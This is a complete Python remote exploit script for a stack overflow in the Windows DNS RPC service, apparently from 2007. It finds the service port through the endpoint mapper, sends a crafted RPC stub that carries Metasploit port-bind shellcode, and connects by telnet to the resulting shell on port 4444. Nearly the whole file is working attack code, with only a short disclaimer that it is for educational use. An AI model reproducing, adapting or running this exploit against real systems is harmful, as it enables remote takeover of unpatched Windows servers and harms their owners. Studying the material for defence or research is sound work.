#!/usr/bin/python
# Remote exploit for the 0day Windows DNS RPC service vulnerability as
# described in https://www.securityfocus.com/bid/23470/info. Tested on
# Windows 2000 SP4. The exploit if successful binds a shell to TCP port 4444
# and then connects to it.
#
# Cheers to metasploit for the first exploit.
# Written for educational and testing purposes.
# Author shall bear no responsibility for any damage caused by using this code
# Winny Thomas :-)

import os
import sys
import time
from impacket.dcerpc import transport, dcerpc, epm
from impacket import uuid

#Portbind shellcode from metasploit; Binds port to TCP port 4444
shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"

# Stub sections taken from metasploit 
stub  = '\xd2\x5f\xab\xdb\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00'
stub += '\x70\x00\x00\x00\x00\x00\x00\x00\x1f\x38\x8a\x9f\x12\x05\x00\x00'
stub += '\x00\x00\x00\x00\x12\x05\x00\x00'
stub += '\\A' * 465
# At the time of overflow ESP points into our buffer which has each char 
# prepended by a '\' and our shellcode code is about 24+ bytes away from 
# where EDX points
stub += '\\\x80\\\x62\\\xE1\\\x77'#Address of jmp esp from user32.dll
# The following B's which in assembly translates to 'inc EDX' increments
# about 31 times EDX so that it points into our shellcode 
stub += '\\B' * 43 
# Translates to 'jmp EDX'
stub += '\\\xff\\\xe2'
stub += '\\A' * 134 
stub += '\x00\x00\x00\x00\x76\xcf\x80\xfd\x03\x00\x00\x00\x00\x00\x00\x00'
stub += '\x03\x00\x00\x00\x47\x00\x00\x00'
stub += shellcode

# Code ripped from core security document on impacket
# www.coresecurity.com/files/attachments/impacketv0.9.6.0.pdf 
# Not a neat way to discover a dynamic port :-)
def DiscoverDNSport(target):
  trans = transport.SMBTransport(target, 139, 'epmapper')
  trans.connect()
  dce = dcerpc.DCERPC_v5(trans)
  dce.bind(uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA','3.0')))
  pm = epm.DCERPCEpm(dce)
  handle = '\x00'*20
  while 1:
    dump = pm.portmap_dump(handle)
    if not dump.get_entries_num():
      break
    handle = dump.get_handle()
    entry = dump.get_entry().get_entry()
    if(uuid.bin_to_string(entry.get_uuid()) == '50ABC2A4-574D-40B3-9D66-EE4FD5FBA076'):
      port = entry.get_string_binding().split('[')[1][:-1]
      return int(port)

  print '[-] Could not locate DNS port; Target might not be running DNS'

def ExploitDNS(target, port):
  trans = transport.TCPTransport(target, port)
  trans.connect()
  dce = dcerpc.DCERPC_v5(trans)
  dce.bind(uuid.uuidtup_to_bin(('50abc2a4-574d-40b3-9d66-ee4fd5fba076','5.0')))  
  
  dce.call(0x01, stub)

def ConnectRemoteShell(target):
  connect = "/usr/bin/telnet " + target + " 4444"
  os.system(connect)

if __name__ == '__main__':
  try:
    target = sys.argv[1]
  except IndexError:
    print 'Usage: %s <target ip address>' % sys.argv[0]
    sys.exit(-1)

  print '[+] Locating DNS RPC port'
  port = DiscoverDNSport(target)
  print '[+] Located DNS RPC service on TCP port: %d' % port
  ExploitDNS(target, port)
  print '[+] Exploit sent. Connecting to shell in 3 seconds'
  time.sleep(3)
  ConnectRemoteShell(target)